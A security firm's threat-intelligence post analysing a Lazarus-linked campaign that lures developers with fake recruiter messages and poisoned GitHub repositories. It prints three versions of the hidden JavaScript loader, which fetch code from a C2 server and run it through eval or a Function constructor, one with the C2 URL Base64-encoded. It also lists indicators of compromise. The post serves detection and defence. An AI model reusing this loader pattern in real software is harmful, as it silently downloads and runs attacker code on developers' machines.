LazarOps: APT Tactics Targeting the Developers Supply Chain [PART 1]

In July 2025, Security Joes investigated a sophisticated intrusion targeting a macOS developer workstation. The compromise stemmed from a deceptive GitHub repository, part of a broader social engineering campaign.

The malware—linked to North Korea’s notorious Lazarus Group—was distributed through a fake hiring campaign that specifically targeted developers on LinkedIn. As part of the scam, the threat actors presented the victim with a Javascript web application disguised as a technical challenge to assess programming skills during the simulated recruitment process. Unaware of the malicious payload embedded within, the victim downloaded and executed the fraudulent Github repository, thereby triggering the infection.

"What began as a single endpoint alert quickly unraveled into evidence of a much broader attack specially crafted to infect developers through multiple deceptive techniques carefully designed to evade detection and maximize the number of victims", said Incident Response Lead, Felipe Duarte.

Our investigation uncovered what we have named LazarOps—the latest Lazarus APT operation specifically targeting the developers supply chain. This operation leverages fake interviews to compromise individuals, while at the same time infiltrates development environments through malicious packages impersonating legitimate utilities, often with subtle typographical errors in their names. It employs stealthy yet highly dangerous attack chains capable of directly compromising development environments across all major operating systems—Linux, Windows, and macOS. The operation’s ultimate objective appears to be gaining access to high-privilege corporate environments through compromised development accounts and infecting Github users to distribute malicious artifacts within developers communities.

This blog post is the first of a two-part series, outlining the early stages of the LazarOps operation—from the victim’s initial interaction with the threat actors, to the GitHub compromise, infrastructure patterns, campaign-level analysis, and the techniques used to execute the malware silently. All findings presented here are based on direct forensic evidence and extensive threat hunting efforts. The second part will provide a full malware analysis and examine the tooling weaponization linked to APT38 as well as the additional techniques identified to spread the threat.

This isn't a zero-day story. It's a speed-and-trust blueprint operating above traditional guardrails. One recruiter DM plus sub-second staging was enough to position credential-theft tooling across multiple orgs. The blunt question for defenders: How many of your controls protect the moment a human decides to clone and build a repo?

The full details were shared both with Github and NCSC-UK, to increase the efforts of taking down the infrastructure and related accounts, posing as legitimate while delivering links to weaponized projects.

The article in a nutshell:

[+] LazarOps – a Lazarus Group campaign targeting the developer supply chain via fake hiring scams, malicious GitHub repositories, and typosquatted packages.

[+] Social engineering and cross-platform attack chains to compromise macOS, Windows, and Linux development environments, aiming for high-privilege corporate access.

[+] Findings were shared with GitHub and NCSC-UK to support infrastructure takedowns and account suspensions.

Security Joes is a multi-layered incident response company strategically located in nine different time-zones worldwide, providing a follow-the-sun methodology to respond to any incident remotely. Security Joes' clients are protected against this threat.

Contact us at response@securityjoes.com for more information about our services and technologies and get additional recommendations to protect yourself against this kind of attack vector.

The Perfect Target: Developers

Regardless of the industry you work for, the country where you live, or the language you speak, the conveniences we now take for granted—remote work, digital payments, cloud automations and global collaboration—exist because someone shipped code, signed builds, and pushed artifacts that others now trust by default. That trust extends far beyond a single app: it reaches into source repos, CI/CD pipelines, package registries, and cloud tenants. Most people overlook how much leverage a single developer account carries; threat actors do not.

Developers serve as the critical link in the intricate chain that underpins our digital society. If your goal is to disrupt as many companies and services as possible, what better target than those who build them? If this is the first time you're realizing this, rest assured that APT38 already has. Their tactics have evolved—rather than attacking businesses directly, they now target the very individuals who create them. Yes, the developers working from home or in offices, headphones on, quietly coding the future of your organization.

To understand how developers are being targeted, we must explore how they collaborate, what they do both on and off the clock, how they grow their careers, and which tools they rely on for both personal and professional advancement. These details may seem insignificant, but as the saying goes, the devil is in the details—and that is exactly where Lazarus Group (APT38) excels.

For developers, GitHub, LinkedIn, and package repositories like npm and PyPI are closely connected tools that support both their work and careers. GitHub is where developers share code, contribute to projects, and show what they can do. LinkedIn helps build their professional profile, making it easier for others to see their experience and connect with them. Package repositories like npm and PyPI are where developers publish the tools and libraries they create—often linked back to their GitHub accounts and mentioned on LinkedIn. Together, these platforms help developers grow their reputation and network, but they also create a digital footprint that attackers can use to impersonate or target them.

Instead of striking companies head-on, APT38 court developers directly with recruiter DMs, private GitHub invites, poisoned packages, and maintainer impersonation. The payoff is unique: access to signing keys and SSH agents, publish rights to npm/PyPI, CI tokens with organization-wide scopes, and the power to seed code that downstream teams will compile and run. One developer machine can become a distribution hub—turning personal workflows into enterprise-scale blast radius.

The Setup: A Social Engineering Trap Disguised as Opportunity

Our story begins with a senior full-stack developer who received a LinkedIn message from a profile named Wilker Cuenun Buitrago. Posing as a recruiter, the sender requested the developer’s CV and provided details about a supposed recruitment process. After gaining the developer’s trust, the recruiter invited them to collaborate on a GitHub project titled AI-healthcare. The developer was asked to review the project—presented as a demo for an upcoming MVP—and to provide technical feedback on the code, as shown in Figure 1.

Figure 1. LinkedIn chat between the user and the actor posing as Wilker Cuenun Buitrago leading to the delivery of the malicious repository.

The repository shared with the victim was a Javascript project that posed as an AI-powered medical assistance platform. On the surface, it appeared legitimate, featuring a README file, environment configurations, and a well-structured codebase typical of real-world applications. However, buried within the numerous files was a small, malicious code segment that silently triggered the threat without the developer’s knowledge.

Figure 2. GitHub invitation sent by the user vector-77 to the victim, granting access to the AI-healthcare repository.

The fact that threat actors are targeting developers directly shapes how they design their tools. Their arsenal isn’t built for broad, indiscriminate distribution; it’s carefully engineered to activate only when a project is executed in a manner consistent with developer workflows and practices. These tools are designed to run seamlessly within development environments across all major operating systems, leveraging cross-platform languages like JavaScript and Python—both of which rely on interpreters that are commonly installed in such environments. Execution of the malicious project depends on specific system configurations and setup steps that are typically performed by developers, making these threats both targeted and context-aware.

Once the malicious code is triggered, it initiates a multi-stage malware chain characterized by its modular design and heavy obfuscation. Despite being written in relatively easy-to-understand programming languages, the obfuscation makes it difficult to extract or analyze the payload in plain text.

Launching the Payload: Abusing Error Handling for Havoc

The success of this infection chain depends on triggering the payload in the most stealthy way possible and keeping it deeply concealed. Over time, it has become evident that APT38 has refined this skill, continuously improving their techniques when comparing different versions of malicious projects they have used to target developers.

In its early versions, the primary protection mechanism relied on hiding the malicious code among the dozens of files within the project. Based on code found in several repositories identified during our investigation, these early malicious projects stored the payload in a separate file within the project. In the example below, this file masqueraded as a background image, which—once loaded as UTF-8—was executed via the eval function. While simple, this method had several weaknesses, the most significant being the presence of the malicious payload directly in the repository, making it easier for security tools to detect. Also, from a victim’s perspective, encountering an eval function in the code could also quickly raise suspicion.

const mailsend = async () ->{
    const {background, log, logo2} = mailimages;
  const cart_background = await fs.readFile( path.join(__dirname, background), 'utf8');

    eval(cart_background);
}

Later versions removed the malicious code from the repository entirely, instead retrieving it from an external server during execution. This change not only helped evade signature-based detection but also allowed the attackers to update the payload without altering the repository. In this iteration, the code was embedded within an error-handling routine: the try block attempted to connect to an external server via a POST request, while the catch block executed any code returned in the error response.

Figure 3. Example of the Internal Server Error response generated by the server when a valid request is sent.

The twist was that these malicious servers were designed to always return an error, with the actual payload appended to the body of the error message, see Figure 3. Although this method was still far from stealthy—mainly due to its reliance on the eval function to execute the malicious code—it nevertheless demonstrated the group’s ongoing efforts to refine their techniques and improve the concealment of their attacks.

const mailsend = async () ->{
    try{
        await axios.post("hxxp://fashdefy[.]store:6168/defy/v7")

    } catch(err){
        const cart_background = err.response.data.token;
        eval(cart_background);
    }
}

The latest iteration—identified during our incident response—focused on concealing the C2 server URL from which the malicious code was downloaded and obfuscating its execution. The goal was to eliminate visible traces of the URL and remove the eval function to create a stealthier payload trigger. To achieve this, the threat actors split the logic across multiple functions stored in different files.

Key functions included:

• setApikey – A wrapper for the atob function, used to decode a Base64-encoded string.

• verify – Handles the POST request to the malicious server.

• verifyToken – The main function that downloads and triggers the payload. It calls setApikey with a Base64-encoded version of the C2 URL (stored as locationToken), then uses verify to send the POST request. As in earlier versions, the server intentionally returns an error containing the malicious code in its response. This code is then executed by creating a function constructor named errorHandler.

  
  

This version stood out for concealing the malicious logic more elegantly and using less obviously suspicious functions, making detection more challenging.

exports.locationToken = "aHR0cDovL2Zhc2hkZWZpLnN0b3JlOjYxNjgvZGVmeS92Nw==";

exports.setApiKey = (s) => {
  return atob(s);
}

exports.verify = (api) => {
  return axios.post(api);
}

async function verifyToken(req, res) {
  verify(setApiKey(locationToken))
    .then((res) => {
      const {
        data: { token },
      } = res;

      if (!token) {
        return res.status(400).json({
          success: false,
          message: "Location is not verified.",
        });
      } else {
        res.status(201).json({ success: true, token });
      }
    })
    .catch((err) => {
      const message = err.response.data.token;
      const errorHandler = new Function.constructor("require", message);
      errorHandler(require);
    });
}
verifyToken();

The payload downloaded is a heavily obfuscated JavaScript info-stealer named BeaverTail, protected by multiple techniques including virtual machine detection and anti-debugging measures. While the technical details of this payload and the subsequent infection chain will be covered in a follow-up blog, its primary objective—once deployed—is to harvest as much information as possible from the victim’s machine. Given that the target is a developer, this opens several high-value attack opportunities, such as stealing GitHub credentials to distribute malicious code within the community, accessing corporate secrets and development environments, or compromising public package registry accounts (e.g., npm, PyPI) to distribute malicious packages at scale.

The Persona Behind the Campaign

The LinkedIn recruiter persona Wilker Cuenun Buitrago was entirely fabricated. A reverse image search revealed the photo was stolen from Florent Champigny, a real developer affiliated with BeReal. Public records and published content confirmed that the identity was misappropriated for malicious purposes.

Figure 4. Legitimate Florent Champigny

Tracking the Campaign

Security Joes employed a combination of GitHub code search, contributor analysis, and commit timeline forensics to uncover additional weaponized repositories. The investigative process included:

• Searching for Base64-encoded domain tokens such as "aHR0cDovL2Zhc2hkZWZpLnN0b3Jl"

• Pivoting on commit authors, timestamps, and injection patterns.

• Cross-referencing LinkedIn profiles and GitHub activity to identify throwaway or hijacked accounts.

• Classifying each repository as Rogue, Compromised Legitimate, or Victim Cleanup Observed

GitHub as an Attack Surface

The AI-healthcare repository was not an isolated case. At least nine other public repositories were found referencing the same hxxp://*[.]store:6168/defy/v* C2 paths. These repositories often mirrored common themes such as NFT marketplaces, AI health apps, or Web3 backends, suggesting strategic targeting.

Figure 5. Lazarus GitHub Supply Chain Analysis Diagram

Each infected repository aligned to one of three categories:

• Rogue: Created and fully controlled by threat actors

• Compromised Legitimate: Previously genuine projects poisoned via malicious commits

• Victim Cleanup Observed: Maintainers attempted to remove the malicious code after infection

The version numbers in the C2 paths (such as v3, v6, v11) corresponded directly to parameters used in the web request to fetch the malicious code. This confirmed that a shared builder was used across all variants and threat actors are actively improving its capabilities.

Campaign Patterns and Observations

From attacker infrastructure to token reuse, the campaign left behind several forensic fingerprints:

• Shared infrastructure: Domains like fashdefi[.]store and bujey[.]store were used across all repositories

• Port behavior: Use of port 1224 for HTTP fetches and port 6168 for malware delivery

• Token reuse: Identical MongoDB strings and API keys were embedded across multiple payloads

• Disposable identities: Most commits came from accounts that were either newly created or later deleted

• Victim themes: Projects focused on AI, NFT, AR fashion, and crypto-backed platforms

• Recruitment lure scale: LinkedIn messages and InMails suggested that over 200 developers were targeted across EMEA and APAC regions

Infrastructure and Tooling

The attack infrastructure was engineered for resilience and reach:

• Primary C2 domains: fashdefi[.]store, bujey[.]store

• Ports: 1224 for initial fetch, 6168 for deeper stage navigation

• Delivery platforms: LinkedIn recruiter profiles, disposable GitHub accounts and infected NPM and PyPi packages.

Threat Actor Accounts: Notable Examples

Several GitHub accounts were instrumental in staging the attack:

• github[.]com/quyctd/nft: Contained a single malicious commit during repository initialization

Figure 6. Repository created and controlled by threat actor account.

Figure 7. quyctd GitHub user profile.

• github[.]com/code-top-star/NFT-MVP: Two commits, both embedding C2 tokens

Figure 8. Repository created and controlled by threat actor account.

Figure 9. C2 encoded in Base64.

• github[.]com/ChethaniSaumya/mvp: Obfuscated C2 added in .env

Figure 10. Repository created and controlled by a threat actor account.

Figure 11. ChethaniSaumya GitHub user profile.

• github[.]com/dressx-company/MVP: Infected by users like yesiviola, izoriianika66, Pandsdev

Figure 12. Collaboration made to the project by threat actor account.

Figure 13. Collaboration made to the project by threat actor account.

Figure 14. yesiviola GitHub user profile.

Figure 15. Repository created and controlled by threat actor account.

Figure 16. izoriianika66 GitHub user profile.

Figure 17. Collaboration made to the project by threat actor account.

Figure 18. Pands-dev GitHub user profile.

• github[.]com/superdev2693/real-estate, github[.]com/MADHURANGA-SKP/Demo-project-FVR: Stage 1 injected and later cleaned up

Figure 19. Repository from real-estate created by threat actor account and malicious C2 injected.

Figure 20. Repository from Demo-project-FVR created by threat actor account and malicious C2 injected.

• github[.]com/zinping/Healthcare: Theme overlap with AI-healthcare lure

Figure 21. Repository created by threat actor account and malicious C2 injected.

Figure 22. zinping GitHub user profile.

• github[.]com/Dev-Oud/BackendPolygon-Project: Compromised legitimate project

Figure 23. Repository created by threat actor account and malicious C2 injected.

Figure 24. Dev-Oud GitHub user profile.

MITRE ATT&CK Techniques Observed

Tactic	Technique	ID
Initial Access	Spearphishing via Social Media	T1566.004
Execution	User-Executed Malware triggered via build tools	T1204.002
Persistence	macOS Launch Agent	T1543.001
Credential Access	Dumping Git credentials and browser stores	T1003
Command and Control	HTTP traffic over non-standard ports	T1071.001
C2 Channel Staging	Multi-Stage Malware	T1104
Exfiltration	Data transfer via HTTP POST	T1041

Indicators of Compromise

IP Addresses

• 144[.]172[.]104[.]113

• 95[.]164[.]17[.]24

Domains and URLs

• fashdefi[.]store:6168/defy/v3

• fashdefi[.]store:6168/defy/v6

• fashdefi[.]store:6168/defy/v7

• fashdefi[.]store:6168/defy/v9

• fashdefi[.]store:6168/defy/v11

• bujey[.]store:6168/defy/v7

Strategic Implications

From a strategic perspective, this operation underscores several key implications:

1. Developer Accounts as High-Value Targets – A single compromised developer can serve as a distribution hub for malicious code, magnifying the blast radius far beyond the initial intrusion.

2. Abuse of Developer Trust Models – Source control, CI/CD, and package registries are increasingly being exploited to deliver malicious updates under trusted identities.

3. State-Backed Supply Chain Compromise – This campaign demonstrates that supply chain abuse is no longer the sole domain of financially motivated cybercrime groups; it is actively leveraged by state-sponsored actors for both espionage and financial objectives.

4. Evolving Tradecraft – Lazarus’s iterative improvements show an intent to evade both automated scanning tools and manual code review, signaling a need for more advanced behavioral and contextual analysis in developer environments.

The targeting of developers is not a passing tactic—it represents a strategic pivot in cyber operations. Organizations must expand their security focus to include developer identity protection, code provenance verification, and continuous monitoring of repositories and package distributions. The software supply chain is now a contested battleground, and the trust developers place in one another has become a critical vulnerability.

Conclusion

The Lazarus Group (APT38) continues to adapt its tradecraft, refining both its targeting and technical execution. This campaign illustrates a deliberate shift from directly attacking organizations to compromising the individuals who build and maintain their digital infrastructure—developers. By combining social engineering on platforms like LinkedIn with weaponized GitHub repositories, Lazarus has found a way to embed itself directly into the software supply chain, exploiting the trust inherent in developer workflows.

Security Joes continues to work with victims, platform providers, and law enforcement to support mitigation, attribution, and infrastructure takedown. If your organization was affected or you would like access to the full evidence bundle, contact our incident response team directly.